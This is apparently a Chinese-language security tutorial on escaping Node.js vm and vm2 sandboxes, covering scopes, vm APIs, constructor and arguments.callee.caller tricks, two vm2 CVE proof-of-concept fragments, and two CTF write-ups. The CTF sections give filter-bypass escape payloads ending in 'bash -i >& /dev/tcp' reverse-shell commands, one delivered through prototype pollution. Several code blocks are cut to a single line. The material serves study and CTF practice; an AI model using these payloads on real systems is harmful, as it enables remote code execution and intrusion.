Nodejs沙箱逃逸
Nodejs 沙箱逃逸
沙箱简介
计算机世界的沙箱,实际上是对线下一种生活现象的虚拟化模拟。在现实生活中,孩子们会用木板在沙地或沙滩上围出一个方盒子,然后在里面用沙子堆砌、创造出各种形状,如城堡、房屋、山丘等。这个方盒子就是一个沙箱,它具有两个核心特点:一是有明确的边界,游戏和创造活动都被限制在这个边界内;二是使用沙子作为游戏材料,创造出来的任何东西都可以轻易地被抹平,不留痕迹。
在计算机世界中,这种沙箱的概念被数字化模拟了出来。通过软硬件手段的结合,可以在一台设备(如服务器或手机)中模拟出一个“管控”区域。这个区域内部是预先指定和划分出来的运算与存储资源,与宿主设备的其他资源完全隔离。应用代码可以在这个模拟区域内运行,即使它是病毒、木马或DDoS攻击软件,也只能在这个资源受限的模拟世界中折腾,无法看到或影响宿主设备中的其他部分,更无法滥用宿主资源导致设备崩溃。此外,由于这个区域是模拟的,因此无论里面运行着什么,都可以一键删除,实现瞬间的清零。
简而言之,计算机世界的沙箱就是一种虚拟化技术,用于在安全的环境中运行和测试代码,防止恶意软件对宿主设备造成损害。
在Node.js中,沙箱是一种重要的安全机制,它通过隔离和限制程序对系统资源的访问,为运行不信任的代码提供了一个安全的环境。通过vm
模块或第三方库,开发者可以创建和管理沙箱,确保系统的安全性和稳定性,但同时也需要关注潜在的安全风险。
Nodejs的作用域
在Node.js的编程环境中,每个JavaScript文件都被视为一个独立的模块,它们各自拥有自己的私有作用域(或称为上下文)。这意味着,一个模块内部定义的变量、函数等默认情况下是无法被其他模块直接访问的。这种设计保证了模块之间的独立性和封装性,避免了全局命名空间的污染。
全局作用域(Global Scope)
在Node.js中,global
对象是一个全局对象,它的属性和方法在所有模块中都是可访问的。这包括了如console
、process
、Buffer
等内置对象,以及任何直接添加到global
对象上的自定义属性或方法。但是,通常不推荐在全局作用域中添加大量自定义变量或函数,因为这可能会导致命名冲突和难以追踪的错误。
模块作用域(Module Scope)
每个Node.js文件都被视为一个独立的模块。这些模块拥有它们自己的作用域,也就是说,一个模块中的变量、函数等默认不会影响到其他模块。这种设计使得模块之间天然隔离,减少了相互之间的干扰。
代码示例:
(一)
a.js
let name = 'P4tt0n' |
b.js
const file = require('./a.js') |
(二)
a.js
let name = 'P4tt0n' |
b.js
const file = require('./a.js') |
由此可见a.js和b.js不在同一个作用域,只有使用require
将一个包中的模块引入到另一个包,才能实现功能的引用.而且这并不是把一个包中的所有变量和函数引入到另一个包,require只返回一个模块的导出对象,这取决于模块自身的 module.exports
或 exports
对象的设置
(三)
a.js
global.name = 'P4tt0n' |
b.js
const file = require('./a.js') |
可见,我们输出name
时,不需要使用file.name的形式,我们可以直接使用name
进行输出,同时name
也不需要使用exports
进行导出,因为此时name已经挂载在global上了,它的作用域不在a.js中了。
VM沙箱
上文介绍了作用域,vm模块就是通过定义一个全新的作用域,让代码在这个新的作用域中运行,这样就与其他作用域隔离了。
接下来介绍一些vm模块的api
vm.Script
new vm.Script(code[, options])
: 创建一个预编译的Script对象,表示一段JavaScript代码。script.runInContext([contextifiedSandbox[, options]])
: 在指定的上下文中执行预编译的脚本。script.runInNewContext([sandbox[, options]])
: 创建一个新的上下文并在其中执行脚本。vm.Script类型的实例包含若干预编译的脚本,这些脚本能够在特定的沙箱(或者上下文)中被运行。
vm.createContext([sandbox[, options]])
创建一个新的、独立的上下文(沙箱),可以包含预先定义的变量和函数。
使用前需要创建一个沙箱对象,再将沙箱对象传递给该方法(如果没有就会生成一个空的沙箱对象),v8为这个沙箱对象在当前的global外再创建一个作用域,此时这个沙箱对象就是这个作用域的全局对象,沙箱内部无法访问global中的属性
具体结构:
V8{
sandbox{}
global{}
}示例:
c.js
// Node.js program to demonstrate the
// vm.createContext([contextObject[, options]])
// method
// Including util and vm module
const util = require('util');
const vm = require('vm');
// Assigning value to the global variable
global.globalVar = 10;
// Defining Context object
const object = { globalVar:4 };
// Contextifying stated object
// using createContext method
vm.createContext(object);
// Compiling code
vm.runInContext('globalVar /= 2;', object);
// Displays the context
console.log("Context:", object);
// Dsiplays value of global variable
console.log("Global Variable is ", global.globalVar);vm.runInContext(code, contextifiedSandbox[, options])
参数为要执行的代码和创建完作用域的上下文(沙箱对象),代码会在传入和沙箱对象的上下文中执行,并且参数的值与沙箱内的参数值相同
示例d.js
const vm = require('vm')
global.global_var = 1
const sandbox = {global_var: 2} //创建一个沙箱对象
vm.createContext(sandbox) //创建一个上下文对象
vm.runInContext('global_var*=2',sandbox)
console.log(sandbox) // { global_var: 4 }
console.log(global_var) // 1vm.runInNewContext(code[, sandbox[, options]])
创建一个新的上下文并在其中运行JavaScript代码。这个函数是
createContext()
和runInContext()
的结合版,传入要执行的代码和沙箱对象vm.runInThisContext(code[, options])
在当前上下文中运行JavaScript代码,代码可以直接访问当前作用域的变量。
sandbox
沙箱中可以访问到global中的属性,但是无法访问其他包的属性。(无法访问本地的属性)示例e.js
// Node.js program to demonstrate the
// runInThisContext() method
// Including vm module
const vm = require('vm');
// Declaring local variable
let localVar = 'GYH';
// Calling runInThisContext method
const vmresult =
vm.runInThisContext('localVar = "P4tt0n";');
// Prints output for vmresult
console.log(`vmresult:'${vmresult}',
localVar:'${localVar}'`);
// Constructing eval
const evalresult = eval('localVar = "LZ";');
// Prints output for evalresult
console.log(`evalresult:'${evalresult}',
localVar:'${localVar}'`);vm.createScript(code[, options])
(过时,从Node.js v0.12开始不再推荐使用)创建一个可执行的Script对象。
VM沙箱逃逸
举一个例子
f.js
; |
很明显是逃逸出去了。如何做到的?debug跟进一下
这里的this是指向传递到runInNewContext函数的一个对象,他是不属于沙箱内部环境的,访问当前对象的构造器的构造器,也就是Function的构造器,由于继承关系,它的作用域是全局变量,执行代码,获取外部global。拿到process对象就可以执行命令了。
constructor的理解
示例:
function PP(){ |
绕过Object.create(null)
const vm = require('vm'); |
我们现在的this为null,并且也没有其他可以引用的对象,这时候想要逃逸我们要用到一个函数中的内置对象的属性arguments.callee.caller,它可以返回函数的调用者。我们只要在沙箱内定义一个函数,然后在沙箱外调用这个函数,那么这个函数的arguments.callee.caller就会返回沙箱外的一个对象,我们在沙箱内就可以进行逃逸了。
const vm = require('vm'); |
我们在沙箱内先创建了一个对象,并且将这个对象的toString方法进行了重写,通过arguments.callee.caller获得到沙箱外的一个对象,利用这个对象的构造函数的构造函数返回了process,再调用process进行rce,沙箱外在console.log中通过字符串拼接的方式触发了这个重写后的toString函数。
VM2沙箱逃逸
vm2相较于vm多了很多限制。其中之一就是引入了es6新增的proxy特性。增加一些规则来限制constructor函数以及___proto__这些属性的访问。proxy可以认为是代理拦截,编写一种机制对外部访问进行过滤或者改写。
CVE-2019-10761
该漏洞要求vm2版本<=3.6.10
poc
"use strict"; |
CVE-2021-23449
import()在JavaScript中是一个语法结构,不是函数,没法通过之前对 require这种函数处理相同的方法来处理它,导致实际上我们调用 import()的结果实际上是没有经过沙箱的,是一个外部变量。 我们再获 取这个变量的属性即可绕过沙箱。 vm2对此的修复方法也很粗糙,正 则匹配并替换了\bimport\b关键字,在编译失败的时候,报Dynamic Import not supported错误
poc
let res = import('./foo.js') |
另外的poc
Symbol = { |
例题
NKCTF-2024 全世界最简单的ctf
const express = require('express'); |
很明显的vm沙箱逃逸问题
正常的payload
throw new Proxy({}, { |
接下来思考如何绕waf
因为题目没有/i,所以对大小写不敏感
我们的process可以等价于
const pro='Process'.toLowerCase(); |
或者String.fromCharCode绕过
const pro=String.fromCharCode(32, 112, 114, 111, 99, 101, 115, 115) |
还需要绕过exec
我们通过反射来绕过,就是根据你提供的对象的键获取到对应的值
Reflect.get(global, Reflect.ownKeys(global).find(x=>x.includes('eva'))) |
这样就可以获得eval方法
第一步是要获得global这个模块,原来是获取process模块,但是如果获取到了global,那什么都好获取了
get: function(){ |
然后就要获取我们的process模块,并且引用child_process
const a = Reflect.get(p, Reflect.ownKeys(p).find(x=>x.includes('pro'))).mainModule.require(String.fromCharCode(99,104,105,108,100,95,112,114,111,99,101,115,115)); |
任何就是获取exec并执行命令
return Reflect.get(a, Reflect.ownKeys(a).find(x=>x.includes('ex')))("bash -c 'bash -i >& /dev/tcp/ip/port 0>&1'"); |
获取a对象的exec这个对象去执行后面的命令
HZNUCTF eznode
访问app.js获取源码
const express = require('express'); |
大概就是在页面post传递一个json数据,会经过json.parse
函数解析,然后再通过clone()
函数复制到copybody
变量中,最后判断该变量的shit值是否为真,然后调用backdoor()
函数在VM2沙箱中执行{}.shellcode
属性。clone()
函数很明显的一个原型链污染,而VM2
会执行shellcode
属性的内容,那么也就是我们需要将该属性污染成VM2
沙箱逃逸的payload
即可执行任意命令
payload:
{"shit":1,"__proto__":{"shellcode":"let res = import('./foo.js');res.toString.constructor(\"return this\")().process.mainModule.require(\"child_process\").execSync('bash -c \"bash -i >& /dev/tcp/ip/2333 0>&1\"').toString();"}} |
参考链接